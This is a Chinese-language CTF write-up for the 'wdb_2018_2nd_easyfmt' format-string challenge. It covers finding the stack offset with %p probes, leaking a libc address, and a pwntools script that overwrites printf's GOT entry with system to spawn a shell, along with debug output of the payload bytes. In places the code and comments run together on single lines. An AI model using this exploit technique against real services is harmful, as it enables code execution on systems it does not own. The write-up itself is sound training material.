1.题目信息
2.解题分析
格式化字符串漏洞
如何确定偏移
Do you know repeater?
输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6
最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
Arch: i386-32-little #32位程序
RELRO: Partial RELRO #got表可写
Stack: No canary found #栈可溢出
NX: NX enabled #shellcode不可以
PIE: No PIE (0x8048000) #代码段无随机化,地址都可以知道
[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:'%3$p\n'
[DEBUG] Received 0x22 bytes:'Do you know repeater?\n''0xf7f15c08\n''\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:00000000 14 a0 04 08 15 a0 04 08 16 a0 04 08 17 a0 04 08 │····│····│····│····│00000010 25 34 38 63 25 36 24 68 68 6e 25 32 30 31 63 25 │%48c│%6$h│hn%2│01c%│00000020 37 24 68 68 6e 25 32 30 36 63 25 38 24 68 68 6e │7$hh│n%20│6c%8│$hhn│00000030 25 33 32 63 25 39 24 68 68 6e 0a │%32c│%9$h│hn·│0000003b
[*] Switching to interactive mode[DEBUG] Received 0x1f9 bytes:00000000 14 a0 04 08 15 a0 04 08 16 a0 04 08 17 a0 04 08 │····│····│····│····│00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*00000030 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 08 │ │ │ │ ·│00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*00000100 20 20 20 20 20 20 20 20 64 20 20 20 20 20 20 20 │ │ │d │ │00000110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*000001d0 20 20 20 20 20 20 08 20 20 20 20 20 20 20 20 20 │ │ · │ │ │000001e0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │000001f0 20 20 20 20 20 20 00 0a 0a │ │ ··│·│000001f9
���� d
3.解题脚本及注解
使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582
标红的地方替换下面相应的值
#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'offset = 6
p.sendline('%3$p')
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数log.info('leak: '+hex(leak))
#输出leak#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址log.info('libc: '+hex(libc))
#输出libc地址system =libc+0x3a940
#输出system地址pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址p.sendline(pl)p.interactive()#pause()p.sendline('/bin/sh')
最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的
,成功的intel芯片的。这个坑浪费了我大量的时间。